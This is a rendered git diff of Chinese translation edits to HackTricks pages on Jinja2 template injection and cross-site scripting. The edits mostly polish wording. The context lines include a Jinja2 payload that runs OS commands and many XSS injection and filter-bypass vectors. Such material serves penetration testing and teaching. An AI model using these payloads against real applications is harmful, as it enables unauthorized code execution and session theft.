||||
|
||||
|
||||
|
||||
```
|
||||
## Jinja 注入没有 **\<class 'object'>**
|
||||
|
||||
从 [**全局对象**](jinja2-ssti.md#accessing-global-objects) 有另一种方法可以到达 **RCE 而不使用该类。**\
|
||||
如果你设法从这些全局对象中获取任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里 **RCE** 是非常 **简单** 的。
|
||||
如果你设法从这些全局对象中获取到任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里 **RCE** 是非常 **简单** 的。
|
||||
|
||||
你可以通过以下方式从对象 **`request`**、**`config`** 和任何 **其他** 有趣的 **全局对象** 中 **找到函数**:
|
||||
```bash
|
||||
|
@ -281,6 +286,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
## Extra
|
||||
## The global from config have a access to a function called import_string
|
||||
## with this function you don't need to access the builtins
|
||||
|
@ -290,7 +296,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具,但在真实场景中也可以用于暴力破解无效参数。该工具仅仅喷射单词和查询以检测过滤器,寻找绕过方法,并提供一个交互式控制台。
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具,但在真实场景中也可以用于暴力破解无效参数。该工具仅仅喷洒单词和查询以检测过滤器,寻找绕过方法,并提供一个交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -318,19 +324,19 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
## 参考文献
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* 查看 [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* 查看[attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3)。
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
|
||||
## 方法论
|
||||
|
||||
1. 检查**你控制的任何值**(_参数_,_路径_,_头部_?,_cookies_?)是否在HTML中被**反射**或被**JS**代码**使用**。
|
||||
1. 检查**你控制的任何值**(_参数_、_路径_、_头部_?、_cookies_?)是否在HTML中被**反射**或被**JS**代码**使用**。
|
||||
2. **找到反射/使用的上下文**。
|
||||
3. 如果**被反射**:
|
||||
1. 检查**你可以使用哪些符号**,并根据此准备有效载荷:
|
||||
|
@ -16,7 +16,7 @@
|
|||
1. 你能创建新的HTML标签吗?
|
||||
2. 你能使用支持`javascript:`协议的事件或属性吗?
|
||||
3. 你能绕过保护措施吗?
|
||||
4. HTML内容是否被任何客户端JS引擎(_AngularJS_,_VueJS_,_Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
4. HTML内容是否被任何客户端JS引擎(_AngularJS_、_VueJS_、_Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你不能创建执行JS代码的HTML标签,你能利用[**悬挂标记 - 无HTML脚本注入**](../dangling-markup-html-scriptless-injection/)吗?
|
||||
2. 在**HTML标签**内:
|
||||
1. 你能退出到原始HTML上下文吗?
|
||||
|
@ -53,7 +53,7 @@
|
|||
|
||||
### 原始HTML
|
||||
|
||||
如果你的输入在**原始HTML**页面中被**反射**,你需要利用某些**HTML标签**来执行JS代码:`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的HTML标签中的一些。\
|
||||
如果你的输入在**原始HTML**页面中被**反射**,你需要利用某些**HTML标签**来执行JS代码:`<img`、`<iframe`、`<svg`、`<script`...这些只是你可以使用的许多可能的HTML标签中的一些。\
|
||||
此外,请记住[客户端模板注入](../client-side-template-injection-csti.md)。
|
||||
|
||||
### 在HTML标签属性内
|
||||
|
@ -63,9 +63,9 @@
|
|||
1. **从属性和标签中逃逸**(然后你将处于原始HTML中)并创建新的HTML标签进行利用:`"><img [...]`
|
||||
2. 如果你**可以从属性中逃逸但不能从标签中逃逸**(`>`被编码或删除),根据标签你可以**创建一个事件**来执行JS代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你**无法从属性中逃逸**(`"`被编码或删除),那么根据**你的值被反射在哪个属性**中**如果你控制整个值或只是部分**你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在“**不可利用的标签**”中被反射,你可以尝试**`accesskey`**技巧来利用这个漏洞(你将需要某种社交工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. 如果你的输入在“**不可利用的标签**”中被反射,你可以尝试**`accesskey`**技巧来利用这个漏洞(你将需要某种社交工程来利用它):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
奇怪的例子是Angular执行XSS,如果你控制一个类名:
|
||||
如果你控制一个类名,Angular执行XSS的奇怪例子:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -73,14 +73,14 @@
|
|||
```
|
||||
### Inside JavaScript code
|
||||
|
||||
在这种情况下,您的输入在 HTML 页面、`.js` 文件或使用 **`javascript:`** 协议的属性之间反射在 **`<script> [...] </script>`** 标签中:
|
||||
在这种情况下,您的输入在 HTML 页面中的 **`<script> [...] </script>`** 标签之间反射,或者在 `.js` 文件中,或在使用 **`javascript:`** 协议的属性中:
|
||||
|
||||
* 如果在 **`<script> [...] </script>`** 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并逃离此上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||
* 如果在 **`<script> [...] </script>`** 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并逃离这个上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||
* 如果在 **JS 字符串** 内反射,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* 如果在模板字面量中反射,您可以使用 `${ ... }` 语法 **嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* 如果在模板字面量内反射,您可以使用 `${ ... }` 语法 **嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **Unicode 编码** 可用于编写 **有效的 javascript 代码**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -100,7 +100,7 @@ Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会
|
|||
|
||||
一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
|
||||
|
||||
找出用户直接提供的内容是否尝试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
|
||||
找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable')并在控制台中查找错误,如下所示:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
|
@ -120,7 +120,7 @@ parentElement
|
|||
```
|
||||
您还可以尝试直接**触发Javascript函数**:`obj.sales.delOrders`。
|
||||
|
||||
然而,通常执行指定函数的端点是没有太多有趣DOM的端点,**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。
|
||||
然而,通常执行所指示函数的端点是没有太多有趣DOM的端点,**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。
|
||||
|
||||
因此,为了**在不同DOM中滥用此漏洞**,开发了**同源方法执行(SOME)**利用:
|
||||
|
||||
|
@ -155,9 +155,9 @@ parentElement
|
|||
|
||||
## 在原始HTML中注入
|
||||
|
||||
当您的输入在**HTML页面中被反射**或您可以在此上下文中转义并注入HTML代码时,您需要做的**第一**件事是检查您是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
||||
当您的输入在**HTML页面中被反射**或您可以在此上下文中转义并注入HTML代码时,您需要做的**第一**件事是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
||||
对于这些情况,还**请记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
||||
_**注意:HTML注释可以使用****`-->`****或****`--!>`****关闭**_
|
||||
_**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\*****`--!>`**_
|
||||
|
||||
在这种情况下,如果没有使用黑/白名单,您可以使用以下有效载荷:
|
||||
```html
|
||||
|
@ -170,7 +170,7 @@ _**注意:HTML注释可以使用****`-->`****或****`--!>`****关闭**_
|
|||
|
||||
### 标签/事件暴力破解
|
||||
|
||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的程序进行)。
|
||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的相同程序进行操作)。
|
||||
|
||||
### 自定义标签
|
||||
|
||||
|
@ -247,11 +247,11 @@ The last one is using 2 unicode characters which expands to 5: telsr\
|
|||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
如果为了利用这个漏洞,你需要 **用户点击一个链接或一个带有预填充数据的表单**,你可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面是脆弱的)。
|
||||
如果为了利用这个漏洞你需要 **用户点击一个链接或一个带有预填充数据的表单**,你可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面是脆弱的)。
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
如果你认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**,你应该检查 [**Danglig Markup**](../dangling-markup-html-scriptless-injection/),因为你可以 **利用** 这个漏洞 **而不** 执行 **JS** 代码。
|
||||
如果你认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**,你应该检查 [**Dangling Markup**](../dangling-markup-html-scriptless-injection/),因为你可以 **利用** 这个漏洞 **而不** 执行 **JS** 代码。
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
|
@ -275,14 +275,14 @@ The last one is using 2 unicode characters which expands to 5: telsr\
|
|||
```
|
||||
### 在属性内
|
||||
|
||||
即使你**无法逃离属性**(`"`被编码或删除),根据**你的值反映在哪个属性**上**如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
|
||||
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
即使你**无法从属性中逃脱**(`"` 被编码或删除),根据**你的值反映在哪个属性**中**如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如 `onclick=`,你将能够在点击时执行任意代码。\
|
||||
另一个有趣的**例子**是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
|
||||
**使用HTML编码/URL编码绕过事件**
|
||||
**使用 HTML 编码/URL 编码绕过事件**
|
||||
|
||||
HTML标签属性值内的**HTML编码字符**在运行时**被解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">返回</a>`
|
||||
HTML 标签属性值中的**HTML 编码字符**在运行时**被解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">返回</a>`
|
||||
|
||||
请注意**任何类型的HTML编码都是有效的**:
|
||||
请注意**任何类型的 HTML 编码都是有效的**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
|
@ -309,7 +309,7 @@ HTML标签属性值内的**HTML编码字符**在运行时**被解码**。因此
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### 特殊协议在属性中
|
||||
### 特殊协议在属性内
|
||||
|
||||
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互,有些则不需要。
|
||||
```javascript
|
||||
|
@ -359,13 +359,13 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
此外,对于这些情况还有另一个 **不错的技巧**:**即使你在 `javascript:...` 中的输入被 URL 编码,它在执行之前会被 URL 解码。** 所以,如果你需要使用 **单引号** 从 **字符串** 中 **逃逸**,并且你看到 **它被 URL 编码**,请记住 **这没关系,** 它在 **执行** 时会被 **解释** 为 **单引号**。
|
||||
此外,对于这些情况还有另一个**不错的技巧**:**即使你在 `javascript:...` 中的输入被 URL 编码,它在执行之前会被 URL 解码。** 所以,如果你需要使用 **单引号** 从 **字符串** 中 **逃逸**,并且你看到 **它被 URL 编码**,请记住 **这没关系,** 它在 **执行** 时会被 **解释** 为 **单引号**。
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将不会** **工作**,但你可以在 **payload** 中 **混合使用**。
|
||||
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **不会** **工作**,但你可以在 **payload** 中 **混合使用**。
|
||||
|
||||
**在 `javascript:` 中使用十六进制和八进制编码**
|
||||
|
||||
|
@ -391,7 +391,7 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有
|
|||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 事件处理程序绕过
|
||||
### 关于事件处理程序绕过
|
||||
|
||||
首先查看此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
|
||||
如果有某些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过:
|
||||
|
@ -409,9 +409,9 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS 在“不可利用标签”(隐藏输入、链接、规范、元)
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
|
||||
从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏输入:**
|
||||
从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以利用隐藏输入:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
从 [**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能**说服****受害者**按下**键组合**,你就可以在隐藏属性中执行**XSS有效载荷**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
|
||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能**说服****受害者**按下**键组合**,你就可以在隐藏属性中执行**XSS有效载荷**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -462,7 +462,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
现在您可以修改我们的链接并将其带入形式
|
||||
现在您可以修改我们的链接并将其变为
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
|
@ -749,7 +749,7 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### Cookie XSS
|
||||
|
||||
如果你可以通过在 cookie 中发送有效负载来触发 XSS,这通常是自我 XSS。然而,如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie,从而成功触发主域或其他子域(易受 cookie XSS 攻击的)的 cookie XSS。为此,你可以使用 cookie 投掷攻击:
|
||||
如果你可以通过在 cookie 中发送有效负载来触发 XSS,这通常是自我 XSS。然而,如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie,从而成功触发主域或其他子域(易受 cookie XSS 攻击的)的 cookie XSS。为此,你可以使用 cookie tossing 攻击:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -779,8 +779,8 @@ top[8680439..toString(30)](1)
|
|||
```
|
||||
### Ruby-On-Rails 绕过
|
||||
|
||||
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段 (onfocus)。\
|
||||
表单示例 ([来自此报告](https://hackerone.com/reports/709336)),如果您发送有效负载:
|
||||
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,可以在标签内添加额外字段(onfocus)。\
|
||||
表单示例([来自此报告](https://hackerone.com/reports/709336)),如果您发送有效负载:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
@ -820,12 +820,12 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
|||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS与302响应中的头注入
|
||||
### XSS与302响应中的头部注入
|
||||
|
||||
如果你发现可以**在302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
如果你发现可以**在302重定向响应中注入头部**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何在Location头中测试几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议:`mailto://`,`//x:1/`,`ws://`,`wss://`,_空Location头_,`resource://`。
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何在Location头部测试多个协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议:`mailto://`,`//x:1/`,`ws://`,`wss://`,_空的Location头部_,`resource://`。
|
||||
|
||||
### 仅限字母、数字和点
|
||||
|
||||
|
@ -861,7 +861,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
### Script Types to XSS
|
||||
|
||||
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本?
|
||||
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以指示加载脚本呢?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
|
@ -895,7 +895,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
这种行为在 [**这篇文章**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval,以滥用它可以触发 XSS。
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理是:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理如下:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -920,7 +920,7 @@ import { partition } from "lodash";
|
|||
* application/xml
|
||||
* text/xml
|
||||
* image/svg+xml
|
||||
* text/plain (?? 不在列表中,但我想我在 CTF 中见过这个)
|
||||
* text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
|
||||
* application/rss+xml (关闭)
|
||||
* application/atom+xml (关闭)
|
||||
|
||||
|
@ -981,7 +981,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
如果在执行不可信代码之前**一切都是未定义的**(就像在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中),可以“凭空”生成有用的对象,以滥用任意不可信代码的执行:
|
||||
如果在执行不可信代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中),可以“凭空”生成有用的对象,以滥用任意不可信代码的执行:
|
||||
|
||||
* 使用 import()
|
||||
```javascript
|
||||
|
@ -1370,7 +1370,7 @@ AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaSc
|
|||
|
||||
示例 [**在 Gmail 中的 Amp4Email XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
|
||||
### 上传文件中的 XSS (svg)
|
||||
### 上传文件 (svg) 中的 XSS
|
||||
|
||||
将以下文件作为图像上传(来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
|
@ -1451,15 +1451,15 @@ id="foo"/>
|
|||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue